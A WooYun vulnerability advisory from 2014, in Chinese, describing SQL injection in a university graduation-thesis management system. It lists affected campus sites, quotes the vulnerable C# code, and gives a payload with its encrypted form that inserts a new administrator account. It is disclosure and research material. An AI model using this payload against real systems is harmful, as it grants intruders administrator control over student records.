当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-083083

漏洞标题:某通用型毕业论文管理系统存在SQL注射(无视waf,影响众多高校)

相关厂商:南京先极科技有限公司

漏洞作者: six-door

提交时间:2014-11-14 15:20

修复时间:2015-02-12 15:22

公开时间:2015-02-12 15:22

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-11-14: 细节已通知厂商并且等待厂商处理中
2014-11-19: 厂商已经确认,细节仅向厂商公开
2014-11-22: 细节向第三方安全合作伙伴开放
2015-01-13: 细节向核心白帽子及相关领域专家公开
2015-01-23: 细节向普通白帽子公开
2015-02-02: 细节向实习白帽子公开
2015-02-12: 细节向公众公开

简要描述:

无视waf,无视防火墙,随意执行sql语句

详细说明:

南京先极科技有限公司开发的一套毕业设计(论文)智能管理系统
官网:http://www.changedu.com/
谷歌搜索 intitle:毕业设计(论文)智能管理系统

枚举一些影响案例:
http://bysj.jwc.sjtu.edu.cn/ 上海交通大学毕业设计(论文)智能管理系统
http://202.119.81.120:8080/ 南京理工大学毕业设计(论文)管理系统
http://bylw.hhu.edu.cn/ 河海大学毕业设计(论文)智能管理系统
http://jw1.jiangnan.edu.cn/bysj/ 江南大学毕业设计(论文)智能管理系统
http://bysj.njfu.edu.cn/ 南京林业大学毕业设计(论文)系统
http://sbc.nuist.edu.cn/bysj/ 南京信息工程大学毕业设计(论文)智能管理系统
http://bysj.hhuc.edu.cn/ 河海大学毕业设计(论文)智能管理系统
http://202.119.248.234/gydlw/ 南京工业大学毕业论文(设计)智能管理系统
http://bysj.hhuwtian.edu.cn/ 河海大学文天学院毕业设计(论文)智能管理系统
http://sy.cxxy.seu.edu.cn/bylw/index.aspx 东南大学成贤学院毕业设计(论文)智能管理系统
http://202.119.189.239:8015/ 中国药科大学毕业设计(论文)智能管理系统
http://bysj.just.edu.cn/ 江苏大学毕业设计(论文)智能管理系统
http://219.219.180.96/bylw/ 南京财经大学毕业论文(设计)智能管理系统


需要一个普通账号登陆权限,登陆后修改密码功能处存在缺陷,导致SQL注入产生
#1,看下密码修改部分

...
class2.RunSQL("update T_User set Pwd='" + class2.HTMLEncode(this.QuePwd.Text) + "' where userid='" + class2.getUSERuserid(base.Request["sid"], "UserId") + "'");
...


读取sid参数,调用getUSERuserid()函数来获取用户userid,跟进该函数

public string getUSERuserid(string no, string GetWhat)
{
DataRow dataRow = null;
dataRow = this.db.GetDataRow("select * from t_user where no='" + this.GETJiMiCODE(no) + "'");
if (dataRow != null)
{
......


在这里将获取到的sid参数进行解密,解密函数GETJiMiCODE();继续跟进

public string GETJiMiCODE(string userid)
{
return this.Decrypt(userid, "****");
}
/////////////////////////
看下Decrypt函数
public string Decrypt(string pToDecrypt, string sKey)
{
DESCryptoServiceProvider provider = new DESCryptoServiceProvider();
byte[] buffer = new byte[pToDecrypt.Length / 2];
for (int i = 0; i < (pToDecrypt.Length / 2); i++)
{
int num2 = Convert.ToInt32(pToDecrypt.Substring(i * 2, 2), 0x10);
buffer[i] = (byte) num2;
}
provider.Key = Encoding.ASCII.GetBytes(sKey);
provider.IV = Encoding.ASCII.GetBytes(sKey);
MemoryStream stream = new MemoryStream();
CryptoStream stream2 = new CryptoStream(stream, provider.CreateDecryptor(), CryptoStreamMode.Write);
stream2.Write(buffer, 0, buffer.Length);
stream2.FlushFinalBlock();
new StringBuilder();
return Encoding.Default.GetString(stream.ToArray());
}


sid解密流程:
sid--->getUSERuserid()--->GETJiMiCODE()--->Decrypt()--->userid--->sql执行
由此可以看出sid进过解密后直接带入了sql语句执行,SQL注入因此产生;且由于sid是加密的,所以无视waf,无视防火墙

漏洞证明:

利用方法:
#1,普通账号登陆系统,查看sid

1331.jpg


解密sid为27502

t1.jpg


#2,构造sid,并进行加密

sid:27502';insert into t_user (UserId,UserName,Role,Pwd,Flag) values ('wooyun','wooyun','系统管理员','six-door','1');--


该sql语句若成功执行,将增加一个系统管理员用户
加密后sid

2215B221514B854BCDFD594C564EC5F988FA5362CE691B3ABA261280D6B24359C33426882D7661D26708625D1D76F291CD515A9353607CB9E3E43F1844D2FFEA48F06F6F434EA2B3EF554DF1B44827EDCF234395A38DE79861A2657DC8531088319ADEAC7B44F17C2F12AE102F8208241FFD96450E420B17


#3,抓包,更改sid,sql语句成功执行
效果图如下:

t2.jpg


#4,再来一张南京工程学院的,以证明通用性

133.jpg


修复方案:

做好参数过滤

版权声明:转载请注明来源 six-door@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:16

确认时间:2014-11-19 10:54

厂商回复:

最新状态:

暂无